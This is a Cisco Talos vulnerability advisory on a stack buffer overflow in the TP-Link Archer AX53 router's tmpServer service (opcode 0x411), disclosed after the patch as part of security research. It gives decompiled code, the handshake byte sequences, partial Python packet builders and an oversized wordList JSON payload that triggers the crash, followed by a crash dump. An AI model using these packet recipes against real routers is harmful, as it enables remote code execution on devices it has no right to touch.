Talos Vulnerability Report

TALOS-2025-2283

Tp-Link AX53 V1.0 tmpServer opcode 0x411 buffer overflow vulnerability

March 16, 2026
CVE Number

CVE-2025-59482

SUMMARY

A buffer overflow vulnerability exists in the tmpServer opcode 0x411 functionality of Tp-Link AX53 v1.0 1.3.1 Build 20241120 rel.54901(5553). A specially crafted set of network packets can lead to arbitrary code execution. An attacker can send packets to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Tp-Link Archer AX53 v1.0 1.3.1 Build 20241120 rel.54901(5553)

PRODUCT URLS

Archer AX53 v1.0 - https://www.tp-link.com/my/support/download/archer-ax53/

CVSSv3 SCORE

9.1 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

DETAILS

The TP-Link Archer AX53 AX3000 Dual Band Gigabit Wi-Fi 6 Router is currently among the most popular routers sold online, and boasts impressive gigabit speeds for the price. This router also features remote cloud access via the TP-Link HomeShield application and smart home functionality.

In order to facilitate remote management of the TP-Link AX53 and many other TP-Link devices, the HomeShield phone app can connect to the device through the cloud. After authentication, an SSH port forward is setup from the cloud to the TP-Link router, which then allows for communication to network services listening on the TP-Link router’s localhost interfaces. Specifically for the HomeShield app, this is the tmpServer network service, which listens on TCP 127.0.0.1:20002. This service is able to modify a large amount of settings and configuration on the TP-Link router, however it is not 1-1 to the admin webportal that is accessible via LAN. Regardless, we start from where the tmpServer service starts parsing network packets:

000247b4    int32_t p2_recv(struct tmp_client* tmpcli)
// [...]
00024808        int32_t bytes_recvd =
00024808            recv(__fd: tmpcli->fd, __buf: get_read_buf_ptr(tmpcli), __n: get_bytes_left_in_buf(tmpcli), __flags: 0)  // [1]
00024808        
00024818        if (bytes_recvd s< 0)
0002482c            log("tmpdServer.c:1382", "TMP RECV ERROR")
00024830            return 0xffffffff
00024830        
// [...] 
000248dc        tmpcli->insize += bytes_recvd
000248fc        log("tmpdServer.c:1398", "TMP RECV DATA length = %d", tmpcli->insize)
000248fc        
00024910        while (true)  
00024910            if (tmpcli->insize s<= 2)
00024914                return 0
00024914            
00024920            uint32_t authhdrlen = GET_AUTH(tmpcli)            // [2]
00024920            
00024930            if (authhdrlen s< 0)
00024944                log("tmpdServer.c:1413", "GET AUTH ERROR")
00024948                return 0xffffffff
00024948            
00024960            if (tmpcli->insize s<= authhdrlen)
00024964                return 0
00024964            
00024970            int32_t* datasize = GET_PKT_BY_STATUS(tmpcli)   // [3]

As always, our code flow starts from the call to recv[1], and in this case up to 0x4000 bytes can be sent in a single message or set of messages and then read in without error. The check at [2] doesn’t really do much important if our opcode is not \xfe, which it never is, and then at [3] some actual checks are made depending on the state of the client connection. A quick digression into the client connection structure before continuing into the code:

struct tmp_client __packed
{
    uint32_t fd;
    void* sysinfo;
    uint32_t status;
    struct TmpPktIn* tdpin;
    uint32_t insize;
    struct TdpPkt* out;
    uint32_t outpkt_size;  
    uint32_t serviceType;
    uint32_t serviceMask;
    uint32_t authHdrLen;
};

Most of these fields should be self explanatory, but it’s worth noting that the status field always starts at 0x1 for new connections, the tdpin buffer is max size 0x4000, and the tdpout buffer is also max size 0x4000. Continuing in the code, before we can send any actual data, we must perform a mini handshake in the form of ASSOCIATION packets, which we can see continuing into GET_PKT_BY_STATUS[3]:

000245e8    int32_t GET_PKT_BY_STATUS(struct tmp_client* tmpcli)

000245fc        uint32_t status = tmpcli->status
000245fc        
00024604        if (status s>= 1)
0002460c            if (status s<= 2)
0002462c                log("tmpdServer.c:1264", "TMP GET ASSOC PKT FROM BUF")
00024638                return check_assoc_pktlen_at_least_4(tmpcli) 
00024638            
00024614            if (status == 3)
00024650                log("tmpdServer.c:1268", "TMP GET DATA PKT FROM BUF")
0002465c                return get_data_pkt_from_buf(tmpcli)
0002465c        
00024664        return 0xffffffff

As mentioned, our client connection always starts at 0x1, so we hit the function at 0x24638, which just checks to see if the size of the input packet minus the size of the auth header (which can be up to 0x40) is greater than 0x4. Assuming this is true, we step back up to the function that started with recv:

//[...]
00024970            int32_t* datasize = GET_PKT_BY_STATUS(tmpcli)   // [3]
00024980            if (datasize s< 0)
00024994                log("tmpdServer.c:1427", "GET PKT ERROR")
00024998                return 0xffffffff
00024998            
000249a8            if (datasize == 0)
000249a8                break
000249a8            
000249d0            int32_t result = ENTER_ASSOC_OR_DATA_CENTER(tmpcli, datasize) //[4]
000249d0            

Immediately after hopefully passing the initial checks, we enter the function at [4] which processes both ASSOC packets and DATA packets:

00023d10    int32_t ENTER_ASSOC_OR_DATA_CENTER(struct tmp_client* tmpcli, int32_t* datasize)

00023d28        uint32_t status = tmpcli->status
00023d28        
00023d30        if (status s>= 1)
00023d38            if (status s<= 2)
00023d58                log("tmpdServer.c:1087", "ENTER ASSOC CENTER")
00023d64                return assoc_parse_set_tmpcli_status(tmpcli)  // [5]
00023d64            
00023d40            if (status == 3)
00023d8c                return decode_data_pkt(tmpcli, datasize, log("tmpdServer.c:1091", "ENTER DATA CENTER")) // [6]
00023d8c        
00023d94        return 0

Since our status is still currently 0x1, we enter the function at [5]:

00023610    int32_t assoc_parse_set_tmpcli_status(struct tmp_client* tmpcli)

00023624        int32_t var_18 = 0
0002362c        int32_t var_1c = 0
00023634        int32_t var_20 = 0
0002363c        uint32_t authHdrLen = tmpcli->authHdrLen
0002363c        
0002364c        if (tmpcli == 0)
00023650            return 0xffffffff
00023650        
00023674        memset(s: tmpcli->out, c: 0, n: 0x4000)
0002367c        struct TdpPkt* out = tmpcli->out
00023694        out->rbuf_start_ver = 1
000236a8        out->reserved_0x0_or_0xf0 = 0
000236b4        out->opcode:1.b = 0
000236c4        struct assoc_pkt* assoc = tmpcli->tdpin + authHdrLen
000236c4        
000236d8        if (tmpcli->status == 1)
000236e8            if (zx.d(assoc->assoc_opcode) == 1 && is_zero(assoc->is_a_request) != 0)
00023718                log("tmpdServer.c:897", "GET TMP ASSOC REQUEST PKT")
00023724                out->opcode.b = TDP_REPEATER_SG_0x2
00023754                int32_t result = send(__fd: tmpcli->fd, __buf: tmpcli->out, __n: 4, __flags: 0)
00023754                
00023768                if (4 != result)
00023770                    result = 0xffffffff
00023770                
0002377c                set_tmpcli_status(tmpcli, status: 2)
000238ac                return result

Without much detail, for ASSOC packets, there’s only rudimentary checks, and a packet containing just \x00\x00\x01\x00 will allow us to get past the first step. This sets our status to 0x2, and if we send another packet, we will hit a different code branch within assoc_parse_set_tmpcli_status:

000237fc        if (zx.d(assoc->assoc_opcode) == 2 && is_zero(assoc->is_a_request) != 0
000237fc                && is_one_and_zero(assoc->needs_1, assoc->needs_0) != 0)
00023854            log("tmpdServer.c:920", "GET TMP ASSOC ACCEPT PKT")
00023860            set_tmpcli_status(tmpcli, status: 3)
00023868            return 0

Likewise for a status of 0x2, the checks are still rudimentary and a packet of \x01\x00\x02\x00 allows us to reach the actual data packet processing within decode_data_pkt(tmpcli, datasize, log("tmpdServer.c:1091", "ENTER DATA CENTER") which requires us to have a status of 0x3 [6]:

000238bc    int32_t decode_data_pkt(struct tmp_client* tmpcli, uint32_t datasize, int32_t arg3)

000238ec        uint32_t authHdrLen = tmpcli->authHdrLen
000238f8        int32_t out_function_cb = 0
000238fc        void* tmp = tmpcli
000238fc        
00023904        if (tmp != 0)
0002390c            tmp = tmpcli->status
0002390c            
00023914            if (tmp == 3)
0002391c                arg3 = 0x4000
00023920                tmp = datasize
00023920                
00023928                if (0x4000 s>= tmp)
00023954                    struct TmpDataPkt* in = tmpcli->tdpin + authHdrLen
00023974                    int32_t decode_ret = check_tdp_data_in(in: tmpcli->tdpin + authHdrLen, inpsize: datasize) // [7]

Starting out, assuming we’re within the 0x4000 size limit, we hit the first check on our data packet at [7]. Since the format for DATA packets is not the same as ASSOC packets, an example DATA HELLO packet is given below:

pkt3 =  b""
#pkt3 += b"\x00" # opcode. \xfe => needs auth len/auth header
#pkt3 += b"\x00" # serNameLen  
#pkt3 += b"\x00" # service mask
# auth stuff would go here
# need at least 0x10 bytes for datapkt
pkt3 += b"\x01"             # Need 0x1
pkt3 += b"\x00"             # Need 0x0
pkt3 += b"\x04"             # opcode   # opcode != 0x5 => len 0x0 
pkt3 += b"\x00"             # idk 0x3 
pkt3 += b"\x00\x00"         # datasize BE, max 0x3ff0 (doesn't include 0x10 hdr) 
pkt3 += b"\x00"             # flags    # opcode != 0x5 => 0x0
pkt3 += b"\x00"             # errcode
pkt3 += b"\x00\x00\x00\x00" # tdp_sn  
pkt3 += b"\x00\x00\x00\x00" # checksum

Continuing into check_tdp_data_in:

00022e0c    int32_t check_tdp_data_in(struct TmpDataPkt* in, int32_t inpsize)
// [...]
00022e34        
00022e68        if (is_one_and_zero(in->need_0x1, in->need_0x0) != 0 && is_zero(in->need_0x0) != 0)              // [8]
00022e9c            uint32_t r0_5 = ntohl(in->checksum)
00022eb8            in->checksum = htonl(0x5a6b7c8d)
00022ec4            int32_t r0_8 = do_checksoum(in, inpsize)
00022ec4            
00022ed8            if (r0_8 != r0_5)                                                                            // [9]
00022ef4                log("tmpdServer.c:681", "TMP curCheckSum=%x; newCheckSum=%x", r0_5, r0_8, inpsize, in)
00022ef8                return 3
00022ef8            
00022f08            in->checksum = r0_5
00022f28            in->datalen = ntohs(in->datalen)
00022f28            
00022f60            if (zx.d(in->opcode) == 5 && zx.d(in->datalen) != 0 && zx.d(in->datalen) + 0x10 != inpsize)
00022f78                log("tmpdServer.c:694", "TMP DATA TRANSFER PKT LENGTH ERROR %d", inpsize, inpsize, inpsize, in)
00022f7c                return 4
00022f7c            
00022fa0            if (zx.d(in->opcode) != 5 && zx.d(in->datalen) != 0)
00022fc0                log("tmpdServer.c:701", "TMP PKT LENGTH ERROR %x", zx.d(in->datalen))
00022fc4                return 4
00022fc4            
00022fe4            if (is_zero_(in->flag) == 0)                                      // [10]
00023004                log("tmpdServer.c:708", "TMP FLAG ERROR %x", zx.d(in->flag))
00023008                return 5
00023008            
00023028            in->tmp_sn = ntohl(in->tmp_sn)
00023048            log("tmpdServer.c:716", "TMP SN = %x", in->tmp_sn)
0002304c            return 0
0002304c        
00022e88        return 1

The main things to be aware of here are that we need 0x1 and 0x0 as our first two bytes to pass the check at [8], we need to have a correct CRC to pass the check at [9], and we also need to have our flag field set to 0x0 to pass the check at [10]. Assuming that’s all good, we return back up to decode_data_pkt:

00023974                    int32_t decode_ret = check_tdp_data_in(in: tmpcli->tdpin + authHdrLen, inpsize: datasize) // [7]                
00023984                    if (decode_ret s< 0)
00023998                        log("tmpdServer.c:974", "TMP DECODE PKT error!!!")
0002399c                        return 0xffffffff
0002399c                    
000239c0                    memset(s: tmpcli->out, c: 0, n: 0x4000)
000239c8                    struct TdpPkt* out = tmpcli->out
000239d8                    int32_t build_an_outpkt_flag
000239d8                    
000239d8                    if (decode_ret == 0)
00023a2c                        uint32_t opcode = zx.d(in->opcode)
00023a2c                        
00023a34                        if (opcode == 5)
00023ad0                            log("tmpdServer.c:1003", "TMP RECV DATA PKT")
00023ae8                            tmpcli->sysinfo = get_sysinfo() + 0x3c
00023af8                            out->tdp_sn = in->tmp_sn
00023b1c                            out->errcode = handle_data_recv_(tmpcli, datasize, out_cb: &out_function_cb) & 0xff    // [11]
00023b1c                            
00023b2c                            if (zx.d(out->errcode) != 0)
00023b8c                                log("tmpdServer.c:1018", "TMP DISPATCH PKT ERROR")
00023b98                                out->opcode.b = TDP_IDK_0x6
00023ba4                                out->size_of_data = 0
00023bac                                build_an_outpkt_flag = 0
00023b2c                            else
00023b4c                                log("tmpdServer.c:1011", "TMP DISPATCH PKT OK %d", tmpcli->outpkt_size)
00023b58                                out->opcode.b = TMP_DATA_TRANSFER
00023b6c                                out->size_of_data = (tmpcli->outpkt_size).w & 0xffff
00023b74                                build_an_outpkt_flag = 1
00023a34                        else if (opcode s<= 5)
00023a44                            if (opcode != 4)
00023c20                                log("tmpdServer.c:1044", "TMP RECV ASSOC PKT and CLOSE SOCK")
00023c24                                return 0xffffffff
00023c24                            
00023a70                            log("tmpdServer.c:994", "TMP RECV HELLO PKT")   // [12]
00023a88                            tmpcli->sysinfo = get_sysinfo() + 0x3c
00023a94                            out->opcode.b = TDP_ATTACH_MASTER
00023aa0                            out->size_of_data = 0
00023ab0                            out->tdp_sn = in->tmp_sn
00023ab8                            build_an_outpkt_flag = 1
00023a3c                        else if (opcode == 6)
00023bc4                            log("tmpdServer.c:1026", "TMP RECV BYE PKT")
00023bd0                            out->opcode.b = TDP_IDK_0x6
00023bdc                            out->size_of_data = 0
00023be4                            build_an_outpkt_flag = 0
00023a50                        else
00023a58                            if (opcode != 0xff)
00023c20                                log("tmpdServer.c:1044", "TMP RECV ASSOC PKT and CLOSE SOCK")
00023c24                                return 0xffffffff
00023c24                            
00023bfc                            log("tmpdServer.c:1034", "TMP RECV RENEGOTIATE PKT, SEND BYE PKT TO APP")
00023c00                            send_bye_pkt_to_app()
00023c08                            build_an_outpkt_flag = 0
000239d8                    else
000239f0                        log("tmpdServer.c:983", "TMP PKT error NO. %d", decode_ret, decode_ret, datasize, tmpcli)
000239fc                        out->opcode.b = TDP_IDK_0x6
00023a0c                        out->errcode = decode_ret.b & 0xff
00023a18                        out->size_of_data = 0
00023a20                        build_an_outpkt_flag = 0

Before we can actually send DATA packets with, well, data, we first have to send a dummy DATA HELLO packet with an opcode of 0x5, such that we hit the code path at [12]. After this has happened, we can now send a DATA packet of similar format to hit the branch at [11] and then enter handle_data_recv:

00023e4c    int32_t handle_data_recv_(struct tmp_client* tmpcli, int32_t datasize, void* out_cb)

00023e68        char var_25 = 2
00023e90        uint32_t authHdrLen = tmpcli->authHdrLen
00023e9c        int32_t var_24_1
00023e9c        __builtin_memset(dest: &var_24_1, ch: 0, count: 0x14)
00023e9c        
00023ea8        if (tmpcli == 0)
00023eac            return 0xffffffff
00023eac        
00023ec8        // okay, finally used lol
00023ec8        char serviceType = tmpcli->tdpin->sername[0xd + authHdrLen]
00023ec8        
// [...]
000245a0        
000245a0        while (true) 
000245b8            psess = (&psess1)[x].sesfunc
000245b8            
000245c0            if (psess == 0)
000245c0                break
000245c0            
000242e4            log("tmpdServer.c:1193", "serviceMask is 0x%x, try to login serviceType 0x%x", tmpcli->serviceMask, 
000242e4                zx.d((&psess1)[x].servicetype))
00024308            log("tmpdServer.c:1196", "serviceType is %d,  pSession->serviceType is %d", zx.d(serviceType), tmpcli->serviceType)
0002432c            log("tmpdServer.c:1197", "User Name is %s", &tmpcli->tdpin->sername)
0002432c            
00024370            if (check_service_type_and_mask(servicemask: tmpcli->serviceMask, serviceytpe: (&psess1)[x].servicetype) != 0)
000243d8                if (tmpcli->serviceType == 0 && zx.d((&psess1)[x].servicetype) == zx.d(serviceType))
00024418                    int32_t r0_16 = get_cli_by_ST(ST: serviceType)
0002444c                    int32_t idk = (&psess1)[x].idk
0002444c                    
00024454                    if (r0_16 u>= idk)
0002447c                        log("tmpdServer.c:1216", "TMP_HDR_ERR_BT_EXCEED", &psess1, idk)
00024480                        return 7
00024480                    
00024464                    tmpcli->serviceType = zx.d(serviceType)
00024464                
00024494                // 0x1 or 0xf1
00024494                if (tmpcli->serviceType != 0 && tmpcli->serviceType == zx.d((&psess1)[x].servicetype))
0002452c                    uint32_t r0_20 =  // actually call psess func
0002452c                        (&psess1)[x].sesfunc(&tmpcli->tdpin->sername[0xd + authHdrLen], datasize - 0x10, &tmpcli->out->payload, out_cb)
0002452c                    
0002453c                    if (r0_20 s< 0)
00024550                        log("tmpdServer.c:1231", "TMP_HDR_ERR_BT")
00024554                        return 6
00024554                    
00024564                    tmpcli->outpkt_size = r0_20
00024578                    log("tmpdServer.c:1235", "TMP_HDR_ERR_NONE")
0002457c                    return 0

To summarize the above code without getting too much into detail - based on the uint8_t service_type byte of our input packet, the code will walk a corresponding set of structures to find the opcode that we’re sending and then calling that specific function. An example packet calling the service_type opcode of 0x421 is given below:

#######################################
pkt4 =  b""
pkt4 += b"\x01"             # Need 0x1
pkt4 += b"\x00"             # Need 0x0
pkt4 += b"\x05"             # opcode   # opcode != 0x5 => len 0x0
pkt4 += b"\x00"             # idk 0x3
pkt4 += b"\x00\x00"         # datasize BE, max 0x3ff0 (doesn't include 0x10 hdr). 
pkt4 += b"\x00"             # flags    # opcode != 0x5 => 0x0
pkt4 += b"\x00"             # errcode?
pkt4 += b"\x00\x00\x00\x00" # tdp_sn??
pkt4 += b"\x00\x00\x00\x00" # checksum
# start of psession layer
pkt4 += b"\x01"             # service type (\x01 or \xf1)
pkt4 += b"\x01"             # version
psess_opcode = 0x421
pkt4 += struct.pack(">H",psess_opcode)

   // Begin actual opcode data

We’re almost to the point of talking about specific opcodes, but one more digression must be allowed. Every opcode follows the same overall code flow - our opcode-specific packet data is read in either as a JSON string which is converted to cjson objects or it’s read in via a basic TLV format. This parsed data is potentially written to specific offsets within a size 0x8000 static buffer, with each of the offsets and resulting data formats being opcode specific. This size 0x8000 buffer is then passed to luci wrappers around TP-Link specific lua bytecode binaries which all call their own specific functions. After the lua bytecode binary has finished, the output data is written back into this 0x8000 sized buffer and, assuming no errors have occurred, data is copied to the 0x4000 sized struct TdpPkt* out member of our client session, which is then sent back to us. Unfortunately, this basic overview is extremely important for understanding any of the tmpServer vulnerabilities, so a quick summary of the summary:

[recv()] -> [0x4000 client session input data] -> [cjson or TLV parsing] -> [opcode specific 0x8000 buffer struct] -> [luci form data] -> [lua bytecode] -> [same 0x8000 buffer response data] -> [ 0x4000 client session output buffer ] -> [send()]

Continuing on, finally we can start talking about vulnerability-specific code. To start, we have to create an object in the configuration that owns Parental Control data, which can be done the function hit with service_type == 0x1 and opcode == 0x412. An example of this is given below:

DATA_TRANSFER4 = TdpPkt(pkt4)
DATA_TRANSFER4.append_payload(b"\x01\x02\x03\x04") // padding data

# opcode 0x436
DATA_TRANSFER4.append_payload(b'{"name":"boop",')
DATA_TRANSFER4.append_payload(b'"internet_blocked":false,')          # bool
DATA_TRANSFER4.append_payload(b'"time_limits":{')                    # hashmap
DATA_TRANSFER4.append_payload(b'"enable_workday_time_limit":false,') # bool
DATA_TRANSFER4.append_payload(b'"enable_weekend_time_limit":false,') # bool
DATA_TRANSFER4.append_payload(b'"workday_daily_time":1,')            # integer
DATA_TRANSFER4.append_payload(b'"weekend_daily_time":1')            # integer
DATA_TRANSFER4.append_payload(b'},')                                 # end of "time_limits"
DATA_TRANSFER4.append_payload(b'"bed_time":{')                       # hashmap
DATA_TRANSFER4.append_payload(b'"enable_workday_bed_time":false,')    # bool 
DATA_TRANSFER4.append_payload(b'"workday_bed_time_begin":1,')         # integer                    
DATA_TRANSFER4.append_payload(b'"workday_bed_time_end":1,')           # integer                    
DATA_TRANSFER4.append_payload(b'"enable_weekend_bed_time":false,')    # bool                   
DATA_TRANSFER4.append_payload(b'"weekend_bed_time_begin":1,')         # integer                    
DATA_TRANSFER4.append_payload(b'"weekend_bed_time_end":1')           # integer                  
DATA_TRANSFER4.append_payload(b'}')                                  # end of "bed_time"

The above is just an example, but we can start adding websites to restrict via the parental controls of the router with very similar data. We do this with a service_type : 1, opcode : 0x412 packet and hit the following function:

00028694    int32_t parental_wordlist_write_0x412(struct psess_farg* inp)
// [...]
00028710        
00028718        clear_bigstruct()
00028744        struct cjson_obj* cjhash = buf_to_json(inp: &inp->payload[8], inpsize: inp->payload_len - 8)  // [13]
00028744        
00028754        if (cjhash == 0)
00028768            log("tpApp.c:4557", "invalid json input")
0002876c            return 0xffffffff
0002876c        
00028780        struct cjson_obj* cjmode = get_json_value(cjhash, inpstr: "mode")              // [14]
00028794        struct cjson_obj* cjstartind = get_json_value(cjhash, inpstr: "startIndex")
000287a8        struct cjson_obj* cjsum = get_json_value(cjhash, inpstr: "sum")
000287bc        struct cjson_obj* cj_amount = get_json_value(cjhash, inpstr: "amount")
000287d0        struct cjson_obj* cjwordlist = get_json_value(cjhash, inpstr: "wordList")
000287d0        
// [...] 
0002880c        
00028828        strncpy(dest: &bigstruct, src: cjmode->value, n: 0xa)
0002883c        bigstruct.__offset(0xc) = cjstartind->intval
00028850        bigstruct.__offset(0x14) = cjsum->intval
00028864        bigstruct.__offset(0x10) = cj_amount->intval
0002886c        int32_t wordlist_children = count_children(cjwordlist)
0002886c        
0002887c        if (wordlist_children != 0)
000288a4            bigstruct.__offset(0x18).b = 0x5b
000288b0            bigstruct.__offset(0x19).b = 0x22
00028968            int32_t ind
00028968            
00028968            for (ind = 0; wordlist_children - 1 s> ind; ind += 1)           // [15]
000288dc                char* value = get_child_by_ind(cjwordlist, ind)->value
000288e8                strcat(dest: &bigstruct.__offset(0x18), src: value)
000288f8                uint32_t r0_10 = strlen(s: &bigstruct.__offset(0x18))
00028918                *(r0_10 + &bigstruct.__offset(0x18)) = '\"'
00028930                *(r0_10 + 1 + &bigstruct.__offset(0x18)) = ','
00028948                *(r0_10 + 2 + &bigstruct.__offset(0x18)) = '\"'
00028948            
00028974            if (wordlist_children != 0)
00028994                char* value_1 = get_child_by_ind(cjwordlist, ind)->value
000289a0                strcat(dest: &bigstruct.__offset(0x18), src: value_1)
000289a0            
000289b0            uint32_t r0_13 = strlen(s: &bigstruct.__offset(0x18))
000289d0            *(r0_13 + &bigstruct.__offset(0x18)) = 0x22
000289e8            *(r0_13 + 1 + &bigstruct.__offset(0x18)) = 0x5d
00028894        
000289fc        if (p2_parental_ctrl_write(&bigstruct) != 0xffffffff)  // [16]
00028a1c            free_cjhash(cjhash)
00028a24            int32_t var_24_4 = 0
00028a28            return 0
00028a28        
00028a04        free_cjhash(cjhash)
00028a0c        int32_t var_24_3 = 0
00028a10        return 0xffffffff

Our input buffer is converted to a cjson object at [13] and assuming it’s valid, we read in member values starting at [15]. Since this particular message type is supposed to be a set of websites that we’re filtering via parental controls, the code then iterates over all of the websites we pass in the wordlList member of our input JSON at [15], creating a separate JSON inside of the 0x8000 buffer that then gets sent to the lua bytecode at [16]. An example of a message that parses correctly would be as such:

# opcode 0x412
DATA_TRANSFER4.append_payload(b'{"mode":"idklol",')
DATA_TRANSFER4.append_payload(b'"startIndex":0,')
DATA_TRANSFER4.append_payload(b'"sum":512,')
DATA_TRANSFER4.append_payload(b'"amount":2,')
DATA_TRANSFER4.append_payload(b'"wordList":[')
DATA_TRANSFER4.append_payload(b'"')
DATA_TRANSFER4.append_payload(b'A'*0x200)
DATA_TRANSFER4.append_payload(b'"')
DATA_TRANSFER4.append_payload(b',"B"]')
DATA_TRANSFER4.append_payload(b"}")

Thus, with this data being written into the configuration, we now look at the function that handles messages of service_type : 1, opcode : 0x411 :

00028194    int32_t parental_wordlist_read_0x411(struct psess_farg* inp)

// [...]
000281fc        if (inp == 0)
00028200            return 0xffffffff
00028200        
00028208        clear_bigstruct()
0002820c        struct big_0x8000* bigstrruct_p = &bigstruct
00028234        struct cjson_obj* cjhash = buf_to_json(inp: &inp->payload[8], inpsize: inp->payload_len - 8) // [17]
00028234        
00028244        if (cjhash == 0)
00028258            log("tpApp.c:4433", "invalid json input")
0002825c            return 0xffffffff
0002825c        
00028270        struct cjson_obj* mode = get_json_value(cjhash, inpstr: "mode")           // [18]
00028284        struct cjson_obj* startind = get_json_value(cjhash, inpstr: "startIndex")
00028298        struct cjson_obj* amount = get_json_value(cjhash, inpstr: "amount")
00028298        
000282b4        if (mode == 0 || amount == 0)
000282bc            free_cjhash(cjhash)
000282c4            int32_t var_24_2 = 0
000282c8            return 0xffffffff
000282c8         
000282e4        strncpy(dest: bigstrruct_p, src: mode->value, n: 0xa)    // [19]
000282f8        bigstrruct_p->__offset(0xc).d = startind->intval
0002830c        bigstrruct_p->__offset(0x10).d = amount->intval
0002830c        
00028320        if (read_parental_wordlist(bigstrruct_p) == 0xffffffff)  // [20]
00028328            free_cjhash(cjhash)
00028330            int32_t var_24_3 = 0
00028334            return 0xffffffff
00028334        
00028340        free_cjhash(cjhash)
00028348        int32_t var_24_4 = 0
0002834c        struct cjson_obj* cjhash_1 = new_cj_hashmap()
00028374        add_value_to_cj_hash(cjhash_1, "mode", cjbool: new_cj_str(bigstrruct_p))
00028384        a1, a2 = __aeabi_ui2d(bigstrruct_p->__offset(0xc).d)
000283b0        add_value_to_cj_hash(cjhash_1, "startIndex", cjbool: new_cj_double(a1, a2))
000283c0        a1_1, a2_1 = __aeabi_ui2d(bigstrruct_p->__offset(0x10).d)
000283ec        add_value_to_cj_hash(cjhash_1, "amount", cjbool: new_cj_double(a1: a1_1, a2: a2_1))
000283fc        a1_2, a2_2 = __aeabi_ui2d(bigstrruct_p->__offset(0x14).d)
00028428        add_value_to_cj_hash(cjhash_1, "sum", cjbool: new_cj_double(a1: a1_2, a2: a2_2))
00028430        int32_t var_3c_1 = 0
00028434        struct cjson_obj* cj_list_array = create_cj_array()
00028440        int32_t i = 1
00028448        int32_t writeoffset = 0
0002845c        char stack[0x100]
0002845c        memset(s: &stack, c: 0, n: 0x100)
0002845c        
00028594        while (zx.d(*(bigstrruct_p + i - 1 + 0x18)) != 0x5d)   // [21]
000284b4            if (zx.d(*(bigstrruct_p + i + 0x18)) != 0x2c && zx.d(*(bigstrruct_p + i + 0x18)) != '\"'
000284b4                    && zx.d(*(bigstrruct_p + i + 0x18)) != ']')
000284dc                stack[writeoffset] = *(bigstrruct_p + i + 0x18) // [22]
000284e8                writeoffset += 1

Once again, the code takes in an input JSON and converts it to a CJSON object at [17], and then reads specific members at [18] and populates the 0x8000 size structure at [19] before calling our read_parental_wordlist lua wrapper function at [20]. Assuming we’ve reached this far, the 0x8000 buffer gets filled with data from our opcode 0x412 message, and more specifically with the wordList data we sent starting at offset 0x18 inside of the 0x8000 buffer. This string buffer is iterated over as a JSON at [21] and each wordList entry from before gets written temporarily to the stack before it is added to a new CJSON object that will consist of the output. Unfortunately, this temporary stack buffer is only 0x100 in size and there’s no hard limit on the length of a single entry of our wordList data in opcode 0x411. As such, we can easily overflow the stack, quickly resulting in arbitrary code execution.

Crash Information

Thread 2.1 "tmpServer" received signal SIGSEGV, Segmentation fault.
0x000284fc in ?? ()

[^_^] SIGSEGV
***********************************************************************************
***********************************************************************************
r0[S]      : 0x7efb19a0                         | r9         : 0x0
r1         : 0x0                                | r10        : 0x1
r2         : 0x70000                            | r11[S]     : 0x7efb1adc
r3         : 0x7013a                            | r12        : 0x8
r4[X]      : 0x383a8                            | sp[S]      : 0x7efb1998
r5[H]      : 0x1b0f010                          | lr[X]      : 0x28460
r6         : 0x1                                | pc[X]      : 0x284fc
r7[X]      : 0x255ec                            | cpsr       : 0x80000010
r8         : 0x20                               | fpscr      : <unavailable>
tpidruro   : <unavailable>                      |
***********************************************************************************
   0x284ec:     ldr     r2, [r11, #-28] ; 0xffffffe4
   0x284f0:     ldr     r3, [r11, #-8]
   0x284f4:     add     r3, r2, r3
   0x284f8:     add     r3, r3, #24
=> 0x284fc:     ldrb    r3, [r3]
   0x28500:     cmp     r3, #44 ; 0x2c
   0x28504:     beq     0x28524
   0x28508:     ldr     r2, [r11, #-28] ; 0xffffffe4
   0x2850c:     ldr     r3, [r11, #-8]
***********************************************************************************
#0 0x000284fc: (0x10000 0x64000 0x54000 0x0 r-xp /usr/bin/tmpServer)
#1 0x00028460: (0x10000 0x64000 0x54000 0x0 r-xp /usr/bin/tmpServer)
***********************************************************************************
[^_^]  Got a crash! SIGSEGV, 0x284fc
VENDOR RESPONSE

Vendor advisory: https://www.tp-link.com/us/support/faq/4943/

TIMELINE

2025-10-28 - Vendor Disclosure
2026-02-03 - Vendor Patch Release
2026-03-16 - Public Release

Credit

Discovered by Lilith >_> of Cisco Talos.